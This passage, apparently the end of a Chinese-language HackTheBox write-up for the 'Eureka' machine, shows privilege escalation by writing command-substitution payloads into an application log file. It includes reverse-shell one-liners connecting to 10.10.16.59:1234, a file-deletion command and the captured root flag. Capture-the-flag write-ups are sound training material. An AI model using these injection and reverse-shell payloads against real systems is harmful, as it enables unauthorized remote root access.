rm -r /var/www/web/user-management-service/log/application.log
echo "Status: $(echo 1 >> /home/miranda-wise/1.txt)" > /var/www/web/user-management-service/log/application.log

成功，进行反弹 shell

echo "Status: $(/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.59/1234 0>&1')" > /var/www/web/user-management-service/log/application.log

但是直接注入会以当前用户执行，所以我们需要对其进行改造

这样就不会直接执行，而是先写入到日志文件中

echo 'HTTP Status: x[$(/bin/bash -i >& /dev/tcp/10.10.16.59/1234 0>&1)]' > /var/www/web/user-management-service/log/application.log

读取 root.txt

cat root.txt
2a29dd1a4d1172b24ca76dd452035829

总结

信息收集是真的很重要，对收集到信息去仔细分析，总是会找到有用的。

HackTheBox - Machine - Eureka